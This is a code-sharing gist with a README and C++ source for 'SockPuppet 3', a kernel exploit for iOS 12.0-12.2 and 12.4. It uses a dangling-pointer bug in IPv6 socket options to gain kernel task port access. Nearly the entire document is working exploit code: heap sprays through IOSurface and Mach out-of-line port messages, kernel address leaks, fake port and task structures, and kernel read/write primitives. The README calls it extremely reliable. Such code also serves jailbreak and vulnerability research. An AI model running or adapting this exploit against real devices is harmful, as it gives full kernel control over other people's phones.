Skip to content

Instantly share code, notes, and snippets.

@ur0 ur0/README.md
Last active Jan 10, 2020

Embed
What would you like to do?
SockPuppet 3

SockPuppet 3

This is a kernel exploit targeting iOS 12.0-12.2 and 12.4. It exploits a dangling kernel pointer to craft a fake task port corresponding to the kernel task and gets a send right to it.

This code is not readily compilable — some common sense is a prerequisite. If you do get it going though, it is extremely reliable on any device with more than a gigabyte of RAM. Interested readers may want to investigate how reallocations can be prevented -- this might improve reliability even more.

License

Copyright 2019 Umang Raghuvanshi

Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:

  1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.

  2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.

  3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

//
// SockPuppet.cpp
//
// Created by Umang Raghuvanshi on 02/08/19.
// Copyright © 2019 Umang Raghuvanshi. All rights reserved. Licensed under the
// BSD 3-clause license.
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are met:
// 1. Redistributions of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
// 2. Redistributions in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
// 3. Neither the name of the copyright holder nor the names of its contributors
// may be used to endorse or promote products derived from this software without
// specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT
// HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES,
// INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
// INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA,
// OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
// LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
// NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
// EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#include "../Log.hpp"
#include "SockPuppet3.hpp"
#define MAX_ATTEMPTS 50000
#define IPV6_USE_MIN_MTU 42
#define IPV6_PKTINFO 46
#define IPV6_PREFER_TEMPADDR 63
extern "C" {
#include "../Include/External/iosurface.h"
}
// MARK: UAF helpers
namespace Exploits {
namespace SockPuppetSupport {
class Socket {
const int descriptor;
public:
Socket() : descriptor(socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP)) {
// Create the socket we'll use for the UAF.
if (descriptor < 0) throw std::runtime_error("Failed to create a socket");
// Allow setting options even socket is closed.
struct so_np_extensions sonpx = {.npx_flags = SONPX_SETOPTSHUT,
.npx_mask = SONPX_SETOPTSHUT};
if (setsockopt(descriptor, SOL_SOCKET, SO_NP_EXTENSIONS, &sonpx,
sizeof(sonpx)) != 0)
throw std::runtime_error("Failed to set SO_NP_EXTENSIONS");
}
Socket(const Socket &other) = delete;
int getMinMtu() {
int minmtu;
socklen_t sz = sizeof(minmtu);
if (getsockopt(descriptor, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, &sz) !=
0)
throw std::runtime_error("getsockopt failed");
return minmtu;
}
void setMinMtu(int *minmtu) {
if (setsockopt(descriptor, IPPROTO_IPV6, IPV6_USE_MIN_MTU, minmtu,
sizeof(*minmtu)) != 0)
throw std::runtime_error("setsockopt failed");
}
int getPreferTempAddr() {
int prefertempaddr;
socklen_t sz = sizeof(prefertempaddr);
if (getsockopt(descriptor, IPPROTO_IPV6, IPV6_PREFER_TEMPADDR,
&prefertempaddr, &sz) != 0)
throw std::runtime_error("getsockopt failed");
return prefertempaddr;
}
std::unique_ptr<uint8_t[]> getPktInfo() {
std::unique_ptr<uint8_t[]> buf(new uint8_t[sizeof(in6_pktinfo)]);
socklen_t sz = sizeof(in6_pktinfo);
if (getsockopt(descriptor, IPPROTO_IPV6, IPV6_PKTINFO, buf.get(), &sz) != 0)
throw std::runtime_error("getsockopt failed");
return buf;
}
void setPktInfo(void *pktinfo) {
if (setsockopt(descriptor, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo,
sizeof(struct in6_pktinfo)) != 0)
throw std::runtime_error("setsockopt failed");
}
//! This is the bug trigger — the options for the socket will now dangle in
//! the kernel's address space.
void dangle() {
int minmtu = -1;
setMinMtu(&minmtu);
if (disconnectx(descriptor, 0, 0) != 0)
throw std::runtime_error("disconnectx failed");
}
~Socket() {
if (descriptor > 0) close(descriptor);
}
};
typedef ssize_t (*read_t)(int fildes, void *buf, size_t nbyte);
read_t libc_read = read;
typedef ssize_t (*write_t)(int fildes, const void *buf, size_t nbyte);
write_t libc_write = write;
class Pipe {
int fds[2];
public:
Pipe() {
if (pipe(fds) != KERN_SUCCESS)
throw std::runtime_error("Failed to create a pipe");
}
Pipe(const Pipe &other) = delete;
int getReadDescriptor() const { return fds[0]; };
int getWriteDescriptor() const { return fds[1]; };
size_t read(void *buf, size_t sz, bool balance = false) const {
ssize_t numRead;
if ((numRead = libc_read(getReadDescriptor(), buf, sz)) < 0)
throw std::runtime_error("Failed to read from pipe");
if (balance &&
libc_write(getWriteDescriptor(), buf, static_cast<size_t>(numRead)) < 0)
throw std::runtime_error("Balancing write failed");
return static_cast<size_t>(numRead);
}
size_t write(void *buf, size_t sz, bool balance = false) const {
ssize_t numWritten;
if ((numWritten = libc_write(getWriteDescriptor(), buf, sz)) < 0)
throw std::runtime_error("Failed to write to pipe");
if (balance && libc_read(getReadDescriptor(), buf,
static_cast<size_t>(numWritten)) < 0)
throw std::runtime_error("Balancing read failed");
return static_cast<size_t>(numWritten);
}
~Pipe() {
close(fds[0]);
close(fds[1]);
}
};
} // namespace SockPuppetSupport
} // namespace Exploits
using namespace Exploits::SockPuppetSupport;
static inline uint32_t mach_port_waitq_flags() {
union waitq_flags waitq_flags = {};
waitq_flags.waitq_type = WQT_QUEUE;
waitq_flags.waitq_fifo = 1;
waitq_flags.waitq_prepost = 0;
waitq_flags.waitq_irq = 0;
waitq_flags.waitq_isvalid = 1;
waitq_flags.waitq_turnstile_or_port = 1;
return waitq_flags.flags;
}
uint64_t SockPuppet::leakPipeBufferAddress(int fd, uint64_t *bufferptr) {
auto const proc = earlyRead64(
currentTaskAddr + m_parameters.get(StructureOffset::Task_BSDInfo));
auto const fds =
earlyRead64(proc + m_parameters.get(StructureOffset::Proc_PFD));
auto const ofiles =
earlyRead64(fds + m_parameters.get(FileDescriptor_FDOfiles));
auto const fproc = earlyRead64(ofiles + fd * 8);
auto const fglob = earlyRead64(fproc + m_parameters.get(FileProc_FGlob));
auto const fgdata =
earlyRead64(fglob + m_parameters.get(StructureOffset::FileGlob_FGData));
if (bufferptr)
*bufferptr = fgdata + m_parameters.get(StructureOffset::FGData_PipeBuffer);
return earlyRead64(fgdata +
m_parameters.get(StructureOffset::FGData_PipeBuffer));
}
uint64_t SockPuppet::leakPortAddress(mach_port_t portname) {
Socket socket;
socket.dangle();
for (int i = 0; i < MAX_ATTEMPTS; i++) {
// Options are 192 bytes long, so we must spray 192/sizeof(ptr) pointers to
// the current port.
mach_port_t holder = Utility::sprayPortPointer(
portname, 192 / sizeof(size_t), MACH_MSG_TYPE_COPY_SEND);
const int mtu = socket.getMinMtu();
const int preferTempAddr = socket.getPreferTempAddr();
if (mtu < 0xffffff00 || mtu == 0xffffffff || preferTempAddr == 0xdeadbeef ||
preferTempAddr == 0) {
mach_port_destroy(mach_task_self(), holder);
continue;
}
uint64_t ptr = (((uint64_t)mtu << 32) & 0xffffffff00000000) |
((uint64_t)preferTempAddr & 0x00000000ffffffff);
mach_port_destroy(mach_task_self(), holder);
return ptr;
}
throw std::runtime_error("Failed to leak port address");
}
std::unique_ptr<uint8_t[]> SockPuppet::leak20AndFree(uint64_t address,
bool free) {
// Create a bunch of sockets with dangling options.
std::vector<Socket> socketsWithDanglingOptions(128);
struct ip6_pktopts fakeOptions = {0};
fakeOptions.ip6po_minmtu = 0xcafebabe;
fakeOptions.ip6po_pktinfo = (struct in6_pktinfo *)address;
for (auto &s : socketsWithDanglingOptions) s.dangle();
while (true) {
IOSurface_init();
if (!IOSurface_spray_with_gc(32, 256, &fakeOptions, sizeof(fakeOptions),
NULL))
throw std::runtime_error("IOSurface spray failed");
for (auto &s : socketsWithDanglingOptions) {
if (s.getMinMtu() == 0xcafebabe) {
std::unique_ptr<uint8_t[]> buf = s.getPktInfo();
if (free) {
in6_pktinfo nullPktInfo = {0};
s.setPktInfo((void *)&nullPktInfo);
}
IOSurface_deinit();
return buf;
}
}
IOSurface_deinit();
}
}
uint64_t SockPuppet::earlyRead64(uint64_t address) {
std::unique_ptr<uint8_t[]> buf = leak20AndFree(address);
auto u64 = *(uint64_t *)buf.get();
return u64;
}
static inline uint32_t stage1Read32(Pipe &pipe, mach_port_t fakeTask,
uint64_t addr, const Parameters &params) {
uint8_t buffer[sizeof(kport_t) + sizeof(ktask_t)];
if (pipe.read(buffer, sizeof(buffer)) != sizeof(buffer))
throw std::runtime_error("Pipe read failed");
*(uint64_t *)((uint64_t)buffer + sizeof(kport_t) +
params.get(StructureOffset::Task_BSDInfo)) =
addr - params.get(StructureOffset::Proc_PPID);
if (pipe.write(buffer, sizeof(buffer)) != sizeof(buffer))
throw std::runtime_error("Pipe buffer write failure");
int pid;
pid_for_task(fakeTask, &pid);
return static_cast<uint32_t>(pid);
}
static inline uint64_t stage1Read64(Pipe &pipe, mach_port_t fakeTask,
uint64_t addr, const Parameters &params) {
uint64_t high = stage1Read32(pipe, fakeTask, addr + 0x4, params);
uint32_t low = stage1Read32(pipe, fakeTask, addr, params);
return (high << 32) | low;
}
static inline uint64_t rk64(task_t vmMap, uint64_t addr) {
uint64_t data, size;
if (mach_vm_read_overwrite(vmMap, (mach_vm_address_t)addr,
(mach_vm_size_t)sizeof(data),
(mach_vm_address_t)&data, &size) != KERN_SUCCESS ||
size != sizeof(data))
throw std::runtime_error("read64 failed");
return data;
}
static inline void wk64(task_t vmMap, uint64_t addr, uint64_t val) {
if ((mach_vm_write(vmMap, (mach_vm_address_t)addr, (vm_offset_t)&val, 8)) !=
KERN_SUCCESS)
throw std::runtime_error("write64 failed");
}
static inline void wk32(task_t vmMap, uint64_t addr, uint32_t val) {
if ((mach_vm_write(vmMap, (mach_vm_address_t)addr, (vm_offset_t)&val, 4)) !=
KERN_SUCCESS)
throw std::runtime_error("write32 failed");
}
static inline uint64_t lookupPort(task_t vmMap, uint64_t currentTask,
mach_port_t target, const Parameters &params,
bool null = false) {
const uint64_t itkSpace =
rk64(vmMap, currentTask + params.get(Task_ITKSpace));
const uint64_t isTable = rk64(vmMap, itkSpace + params.get(IPCSpace_ISTable));
const uint32_t idx = target >> 8;
const uint64_t portAddr =
rk64(vmMap, isTable + (idx * params.get(IPCSpace_ISTableSize)));
if (null) {
wk64(vmMap, isTable + (idx * params.get(IPCSpace_ISTableSize)), 0);
wk32(vmMap, isTable + (idx * params.get(IPCSpace_ISTableSize)) + 8, 0);
}
return portAddr;
}
SockPuppet::SockPuppet(const HostInfo &hostInfo, const Parameters &parameters)
: KernelExploit(hostInfo, parameters) {}
bool SockPuppet::isCompatible() const {
const int version = m_hostInfo.integerVersion();
return (version < Versions::k12_3 && version >= Versions::k12_0) ||
version == Versions::k12_4;
}
bool SockPuppet::canRerun() const { return true; }
bool SockPuppet::canReturnFakeTFP0() const { return true; }
bool SockPuppet::run() {
info("Running the SockPuppet exploit");
uint64_t ownTaskPortKaddr = leakPortAddress(mach_task_self());
currentTaskAddr = earlyRead64(
ownTaskPortKaddr + m_parameters.get(StructureOffset::IPCPort_IPKObject));
debug("Current task: %p", currentTaskAddr);
uint64_t ipcSpaceKernel =
earlyRead64(ownTaskPortKaddr + m_parameters.get(IPCPort_IPReceiver));
debug("Kernel's IPC space: %p", ipcSpaceKernel);
m_progress += 5;
Pipe portPointerOverwritePipe, fakePortPipe;
uint8_t pipebuf[0x10000] = {0};
// Force allocation.
portPointerOverwritePipe.write(pipebuf, sizeof(pipebuf), true);
portPointerOverwritePipe.write(pipebuf, 8);
auto const fakeSize = sizeof(kport_t) + sizeof(ktask_t);
char portAndTaskBuffer[fakeSize] = {0};
auto fakePort = (kport_t *)portAndTaskBuffer;
auto fakeTask = (ktask_t *)((uint8_t *)fakePort + sizeof(kport_t));
fakeTask->ref_count = 0xff;
fakePort->ip_bits = IO_BITS_ACTIVE | IKOT_TASK;
fakePort->ip_references = 0xf00d;
fakePort->ip_lock.type = 0x11;
fakePort->ip_messages.port.receiver_name = 1;
fakePort->ip_messages.port.msgcount = 0;
fakePort->ip_messages.port.qlimit = MACH_PORT_QLIMIT_LARGE;
fakePort->ip_messages.port.waitq.flags = mach_port_waitq_flags();
fakePort->ip_srights = 99;
fakePort->ip_receiver = ipcSpaceKernel;
fakePortPipe.write((void *)fakePort, fakeSize, true);
uint64_t pipePtr;
uint64_t portPointerOverwritePipeKaddr = leakPipeBufferAddress(
portPointerOverwritePipe.getReadDescriptor(), &pipePtr);
uint64_t fakePortBufferKaddr =
leakPipeBufferAddress(fakePortPipe.getReadDescriptor());
debug("Pipe buffer %i: %p", portPointerOverwritePipe.getReadDescriptor(),
portPointerOverwritePipeKaddr);
debug("Pipe buffer %i: %p", fakePortPipe.getReadDescriptor(),
fakePortBufferKaddr);
// Fix ip_kobject.
fakePort->ip_kobject = fakePortBufferKaddr + sizeof(kport_t);
fakePortPipe.write((void *)fakePort, fakeSize);
mach_port_t dummyKernelTaskPort = MACH_PORT_NULL;
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE,
&dummyKernelTaskPort);
if (!MACH_PORT_VALID(dummyKernelTaskPort) ||
mach_port_insert_right(mach_task_self(), dummyKernelTaskPort,
dummyKernelTaskPort,
MACH_MSG_TYPE_MAKE_SEND) != KERN_SUCCESS)
throw std::runtime_error("tfp0 allocation failed");
const uint64_t tfp0Kaddr = leakPortAddress(dummyKernelTaskPort);
debug("Dummy kernel task port: %p", tfp0Kaddr);
m_progress += 20;
// Free the first pipe.
leak20AndFree(portPointerOverwritePipeKaddr, true);
mach_port_t holder = MACH_PORT_NULL;
uint64_t leak = 0;
for (int i = 0; i < MAX_ATTEMPTS; i++) {
// Spray 0x10000/8 port pointers so that they get reallocated in place of
// the first pipe.
holder = Utility::sprayPortPointer(dummyKernelTaskPort, 0x10000 / 8,
MACH_MSG_TYPE_COPY_SEND);
portPointerOverwritePipe.read(&leak, sizeof(leak), true);
if (leak == tfp0Kaddr) break;
mach_port_destroy(mach_task_self(), holder);
}
if (leak != tfp0Kaddr) throw std::runtime_error("Failed to reallocate");
m_progress += 30;
portPointerOverwritePipe.write(&fakePortBufferKaddr,
sizeof(fakePortBufferKaddr));
debug("Port pointer overwritten");
char sendRightBuffer[0x1000] = {0};
auto fakePortSendRightMsg = (struct ool_msg *)sendRightBuffer;
const kern_return_t didRecv =
mach_msg(&fakePortSendRightMsg->hdr, MACH_RCV_MSG, 0, 0x1000, holder,
MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if (didRecv != KERN_SUCCESS)
throw std::runtime_error("Failed to recieve send rights to fake port");
mach_port_t pipeFakeKernelTaskPort =
((mach_port_t *)fakePortSendRightMsg->ool_ports.address)[1];
if (!MACH_PORT_VALID(pipeFakeKernelTaskPort) ||
pipeFakeKernelTaskPort == dummyKernelTaskPort)
throw std::runtime_error("Fake kernel task port is invalid");
uint64_t structTask = stage1Read64(
fakePortPipe, pipeFakeKernelTaskPort,
ownTaskPortKaddr + m_parameters.get(StructureOffset::IPCPort_IPKObject),
m_parameters);
if (structTask != currentTaskAddr)
throw std::runtime_error("Stage 1 read64 failed");
debug("Stage 1 read64 succeeded");
uint64_t kernelVMMap = 0;
while (structTask) {
uint64_t bsdInfo = stage1Read64(
fakePortPipe, pipeFakeKernelTaskPort,
structTask + m_parameters.get(StructureOffset::Task_BSDInfo),
m_parameters);
if (!bsdInfo) throw std::runtime_error("Stage 1 read64 failed");
uint32_t pid = stage1Read32(
fakePortPipe, pipeFakeKernelTaskPort,
bsdInfo + m_parameters.get(StructureOffset::Proc_PPID), m_parameters);
if (pid == 0) {
kernelVMMap =
stage1Read64(fakePortPipe, pipeFakeKernelTaskPort,
structTask + m_parameters.get(Task_VMMap), m_parameters);
if (!kernelVMMap) throw std::runtime_error("Stage 1 read64 failed");
break;
}
structTask =
stage1Read64(fakePortPipe, pipeFakeKernelTaskPort,
structTask + m_parameters.get(Task_Prev), m_parameters);
}
if (!kernelVMMap) throw std::runtime_error("Failed to find kernel's VM map");
debug("Kernel VM map: %p", kernelVMMap);
fakePortPipe.read((void *)fakePort, fakeSize);
fakeTask->lock.data = 0;
fakeTask->lock.type = 0x22;
fakeTask->ref_count = 0xff;
fakeTask->active = 1;
fakeTask->map = kernelVMMap;
*(uint32_t *)((uint64_t)fakeTask + m_parameters.get(Task_ITKSelf)) = 1;
fakePortPipe.write((void *)fakePort, fakeSize);
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE,
&kernelTaskPort);
if (!MACH_PORT_VALID(kernelTaskPort) ||
mach_port_insert_right(mach_task_self(), kernelTaskPort, kernelTaskPort,
MACH_MSG_TYPE_MAKE_SEND) != KERN_SUCCESS)
throw std::runtime_error("tfp0 allocation failed");
uint64_t stableFakeTask;
if (mach_vm_allocate(pipeFakeKernelTaskPort, &stableFakeTask, sizeof(ktask_t),
VM_FLAGS_ANYWHERE) != KERN_SUCCESS)
throw std::runtime_error("Failed to allocate memory for the fake task");
if (mach_vm_write(pipeFakeKernelTaskPort, stableFakeTask,
(vm_offset_t)fakeTask, sizeof(ktask_t)) != KERN_SUCCESS)
throw std::runtime_error("Failed to write fake task to kernel memory");
const uint64_t kernelTaskPortKaddr = lookupPort(
pipeFakeKernelTaskPort, currentTaskAddr, kernelTaskPort, m_parameters);
debug("Stable kernel task port %i: %p", kernelTaskPort, kernelTaskPortKaddr);
fakePort->ip_kobject = stableFakeTask;
if (mach_vm_write(pipeFakeKernelTaskPort, kernelTaskPortKaddr,
(vm_offset_t)fakePort, sizeof(kport_t)) != KERN_SUCCESS)
throw std::runtime_error(
"Failed to write fake kernel task port to kernel memory");
uint64_t testAllocKaddr;
if (mach_vm_allocate(kernelTaskPort, &testAllocKaddr, 8, VM_FLAGS_ANYWHERE) !=
KERN_SUCCESS)
throw std::runtime_error("Stable task port isn't working");
mach_vm_deallocate(kernelTaskPort, testAllocKaddr, 8);
info("Exploit succeeded, cleaning up");
wk64(kernelTaskPort, pipePtr, 0);
// Clean up the port living inside the pipe.
lookupPort(kernelTaskPort, currentTaskAddr, pipeFakeKernelTaskPort,
m_parameters, true);
info("Cleanup done");
return true;
}
const std::string &SockPuppet::status() { return m_hostInfo.buildID(); }
size_t SockPuppet::readKernelMemory(uint64_t address, uint8_t *buffer,
size_t bufferSize) {
mach_vm_size_t numRead;
const kern_return_t didRead = mach_vm_read_overwrite(
kernelTaskPort, address, bufferSize, (vm_address_t)buffer, &numRead);
if (didRead != KERN_SUCCESS)
throw std::runtime_error("Failed to read kernel memory");
return numRead;
}
size_t SockPuppet::writeKernelMemory(uint64_t address, uint8_t *data,
size_t dataSize) {
auto const toWrite = static_cast<mach_msg_type_number_t>(dataSize);
const kern_return_t didWrite =
mach_vm_write(kernelTaskPort, address, (vm_offset_t)data, toWrite);
if (didWrite != KERN_SUCCESS)
throw std::runtime_error("Failed to write kernel memory");
return toWrite;
}
mach_port_t SockPuppet::getFakeKernelTaskPort() { return kernelTaskPort; }
uint64_t SockPuppet::leakImagePointer() {
const uint64_t hostPortKaddr =
Utility::findPort(mach_host_self(), currentTaskAddr, m_parameters, *this);
const uint64_t realhostKaddr =
read64(hostPortKaddr + m_parameters.get(IPCPort_IPKObject));
return realhostKaddr;
}
uint64_t SockPuppet::getCurrentTaskAddress() { return currentTaskAddr; }
//
// SockPuppet.hpp
//
// Created by Umang Raghuvanshi on 02/08/19.
// Copyright © 2019 Umang Raghuvanshi. All rights reserved. Licensed under the
// BSD 3-clause license.
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are met:
// 1. Redistributions of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
// 2. Redistributions in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
// 3. Neither the name of the copyright holder nor the names of its contributors
// may be used to endorse or promote products derived from this software without
// specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT
// HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES,
// INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
// INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA,
// OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
// LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
// NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
// EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#ifndef SockPuppet_hpp
#define SockPuppet_hpp
extern "C" {
#include <netinet/in.h>
#include <sys/socket.h>
}
namespace Exploits {
class SockPuppet : public KernelExploit {
private:
uint64_t leakPortAddress(mach_port_t portname);
int socketWithDanglingOptions;
uint64_t currentTaskAddr;
std::unique_ptr<uint8_t[]> leak20AndFree(uint64_t address, bool free = false);
uint64_t earlyRead64(uint64_t address);
uint64_t leakPipeBufferAddress(int fd, uint64_t *bufferptr = 0);
mach_port_t kernelTaskPort = MACH_PORT_NULL;
public:
SockPuppet(const HostInfo &hostInfo, const Parameters &parameters);
bool isCompatible() const;
bool canRerun() const;
bool canReturnFakeTFP0() const;
const std::string &status();
bool run();
mach_port_t getFakeKernelTaskPort();
size_t readKernelMemory(uint64_t address, uint8_t *buffer, size_t bufferSize);
size_t writeKernelMemory(uint64_t address, uint8_t *data, size_t dataSize);
uint64_t leakImagePointer();
uint64_t getCurrentTaskAddress();
};
struct route_in6 {
struct rtentry *ro_rt;
struct llentry *ro_lle;
struct ifaddr *ro_srcia;
uint32_t ro_flags;
struct sockaddr_in6 ro_dst;
};
struct ip6po_rhinfo {
struct ip6_rthdr *ip6po_rhi_rthdr; /* Routing header */
struct route_in6 ip6po_rhi_route; /* Route to the 1st hop */
};
struct ip6po_nhinfo {
struct sockaddr *ip6po_nhi_nexthop;
struct route_in6 ip6po_nhi_route; /* Route to the nexthop */
};
struct ip6_pktopts {
struct mbuf *ip6po_m;
int ip6po_hlim;
struct in6_pktinfo *ip6po_pktinfo;
struct ip6po_nhinfo ip6po_nhinfo;
struct ip6_hbh *ip6po_hbh;
struct ip6_dest *ip6po_dest1;
struct ip6po_rhinfo ip6po_rhinfo;
struct ip6_dest *ip6po_dest2;
int ip6po_tclass;
int ip6po_minmtu;
int ip6po_prefer_tempaddr;
int ip6po_flags;
};
#define IO_BITS_ACTIVE 0x80000000
#define IKOT_TASK 2
typedef volatile struct {
uint32_t ip_bits;
uint32_t ip_references;
struct {
uint64_t data;
uint64_t type;
} ip_lock; // spinlock
struct {
struct {
struct {
uint32_t flags;
uint32_t waitq_interlock;
uint64_t waitq_set_id;
uint64_t waitq_prepost_id;
struct {
uint64_t next;
uint64_t prev;
} waitq_queue;
} waitq;
uint64_t messages;
uint32_t seqno;
uint32_t receiver_name;
uint16_t msgcount;
uint16_t qlimit;
uint32_t pad;
} port;
uint64_t klist;
} ip_messages;
uint64_t ip_receiver;
uint64_t ip_kobject;
uint64_t ip_nsrequest;
uint64_t ip_pdrequest;
uint64_t ip_requests;
uint64_t ip_premsg;
uint64_t ip_context;
uint32_t ip_flags;
uint32_t ip_mscount;
uint32_t ip_srights;
uint32_t ip_sorights;
} kport_t;
typedef struct {
struct {
uint64_t data;
uint32_t reserved : 24, type : 8;
uint32_t pad;
} lock; // mutex lock
uint32_t ref_count;
uint32_t active;
uint32_t halting;
uint32_t pad;
uint64_t map;
char padding[0x400];
} ktask_t;
#define WQT_QUEUE 0x2
#define _EVENT_MASK_BITS ((sizeof(uint32_t) * 8) - 7)
union waitq_flags {
struct {
uint32_t /* flags */
waitq_type : 2, /* only public field */
waitq_fifo : 1, /* fifo wakeup policy? */
waitq_prepost : 1, /* waitq supports prepost? */
waitq_irq : 1, /* waitq requires interrupts disabled */
waitq_isvalid : 1, /* waitq structure is valid */
waitq_turnstile_or_port : 1, /* waitq is embedded in a turnstile (if irq
safe), or port (if not irq safe) */
waitq_eventmask : _EVENT_MASK_BITS;
};
uint32_t flags;
};
struct ool_msg {
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_ool_ports_descriptor_t ool_ports;
};
} // namespace Exploits
#endif /* SockPuppet_hpp */
//
// Utility.cpp
//
// Created by Umang Raghuvanshi on 02/08/19.
// Copyright © 2019 Umang Raghuvanshi. All rights reserved. Licensed under the
// BSD 3-clause license.
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are met:
// 1. Redistributions of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
// 2. Redistributions in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
// 3. Neither the name of the copyright holder nor the names of its contributors
// may be used to endorse or promote products derived from this software without
// specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT
// HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES,
// INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
// INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA,
// OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
// LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
// NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
// EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
mach_port_t Utility::sprayPortPointer(mach_port_t targetPortName,
unsigned int count, int disposition) {
mach_port_t remotePort = MACH_PORT_NULL;
if (mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE,
&remotePort) != KERN_SUCCESS)
throw std::runtime_error("Failed to allocate a port");
auto ports = std::vector<mach_port_t>(count, targetPortName);
struct ool_msg msg = {0};
msg.hdr.msgh_bits =
MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg.hdr.msgh_size = (mach_msg_size_t)sizeof(struct ool_msg);
msg.hdr.msgh_remote_port = remotePort;
msg.hdr.msgh_local_port = MACH_PORT_NULL;
msg.hdr.msgh_id = 0x41414141;
msg.body.msgh_descriptor_count = 1;
msg.ool_ports.address = ports.data();
msg.ool_ports.count = count;
msg.ool_ports.deallocate = 0;
msg.ool_ports.disposition = disposition;
msg.ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
msg.ool_ports.copy = MACH_MSG_PHYSICAL_COPY;
if (mach_msg(&(msg.hdr), MACH_SEND_MSG | MACH_MSG_OPTION_NONE,
msg.hdr.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL) != KERN_SUCCESS)
throw std::runtime_error("Failed to spray target port's address");
return remotePort;
}
